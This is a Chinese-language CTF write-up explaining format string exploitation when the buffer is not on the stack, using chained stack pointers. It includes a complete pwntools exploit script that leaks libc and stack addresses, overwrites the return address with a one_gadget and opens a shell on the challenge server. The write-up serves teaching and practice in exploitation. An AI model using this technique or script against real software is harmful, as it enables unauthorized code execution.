非栈上的格式化字符串利用。
非栈上的格式化字符串利用方法
参考文章:非栈上格式化字符串漏洞利用技巧-安全客
想用格式化字符串来覆写任意位置的数据时,通常是把指针附在字符串的末尾,然后用 %k$n
来引用这个指针。但是如果程序不在栈上读取字符串,就没有办法指向自定义的指针了。
当然,方法依然存在,就是利用栈上已有的指针。在 64 位环境下,如果栈上存在一个指另一个指另一个的三级链结构(也就是两个指向栈的指针),就仍旧可以构造出任意的指针,如下图所示:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| ┌────────────────┐ │ │ ├────────────────┤ │First PTR │ ├──────────────┬─┤ │ │ │ │ │ │ ├────────────┬─▼─┤ │Second PTR │ │ ├────────────┴─┬─┤ │ │ │ │ ┌───┬───┬───┤ │ │ │ │ │ │ │ ├──▼─┬─▼─┬─▼─┬─▼─┤ │Vict│im │ │ │ Victim位置可以通过覆写第二个指针的低位自行决定! ├────┴───┴───┴───┤ │ │ └────────────────┘
|
借助第一个指针,我们可以控制第二个指针的低位,从而几乎可以控制栈上任意地方的数据。这时候我们即可以直接修改返回地址为 one_gadget,也可以造出一个指向别的地方的指针,然后再借助这个指针来达成任意地址读写。
当然,这种方法最好需要能够进行多次格式化字符串攻击。
此外,在 32 位环境下,似乎只要一个指向栈上的指针就可以完成上述攻击。
程序逻辑
程序会邀请用户输入字符串,并用 printf 打印出来。在打印前,程序会调用 strlen 检查输入字符串长度,若发现长度<=1 的话,就将栈上的一个变量设为 1。程序会根据该变量是否为 1 来决定是否重新进行读取和输出。
漏洞分析与利用
明显的格式化字符串漏洞,但字符串 buffer 不在栈上,给漏洞的利用增加了难度。
首先想办法达成多次格式化字符串漏洞,可以用栈上的一个指向上述检查变量的指针来覆写该变量为 1,达成无限次的输入。
然后就是非栈上的格式化字符串如何利用的问题了,这里简述利用思路。
首先借助栈上已有的数据泄露 libc 地址和栈的地址(这个通过 saved_rbp 泄露的)。
然后把栈上的返回地址两字节两字节地覆写为 one_gadget 的地址就好了。
EXP 脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64
| def pwn(): io = remote("puffer.utctf.live", 4630)
payload = b"a%7$n%8$p.%13$p." io.sendline(payload)
io.recvuntil(b"0x") ret_addr = int(io.recvuntil(b".")[:-1].decode("ascii"), 16) + 0x8 success("ret_addr: "+hex(ret_addr)) io.recvuntil(b"0x") libc = int(io.recvuntil(b".")[:-1].decode("ascii"), 16) - 0x24083 success("libc: "+hex(libc))
one_gadget = libc+0xe3b01
io.recvuntil(b"another chance.") payload = b"%"+str(ret_addr%0x10000).encode("ascii")+b"c" payload += b"%15$hn" payload += b"%7$n" io.sendline(payload)
io.recvuntil(b"another chance.") data = one_gadget%0x10000 payload = b"%"+str(data).encode("ascii")+b"c" payload += b"%43$hn" payload += b"%7$n" io.sendline(payload)
io.recvuntil(b"another chance.") payload = b"%"+str(ret_addr%0x100+2).encode("ascii")+b"c" payload += b"%15$hhn" payload += b"%7$n" io.sendline(payload)
io.recvuntil(b"another chance.") data = (one_gadget%0x100000000 - data)/0x10000 payload = b"%"+str(data).encode("ascii")+b"c" payload += b"%43$hn" payload += b"%7$n" io.sendline(payload)
io.recvuntil(b"another chance.") payload = b"%"+str(ret_addr%0x100+4).encode("ascii")+b"c" payload += b"%15$hhn" payload += b"%7$n" io.sendline(payload)
io.recvuntil(b"another chance.") data = (one_gadget%0x1000000000000 - one_gadget%0x100000000)/0x100000000 payload = b"%"+str(data).encode("ascii")+b"c" payload += b"%43$hn" payload += b"%7$n" io.sendline(payload)
io.recvuntil(b"another chance.") payload = b"%8$p.%13$p.%15$p.%43$p" io.sendline(payload)
io.interactive()
if __name__ == '__main__': pwn()
|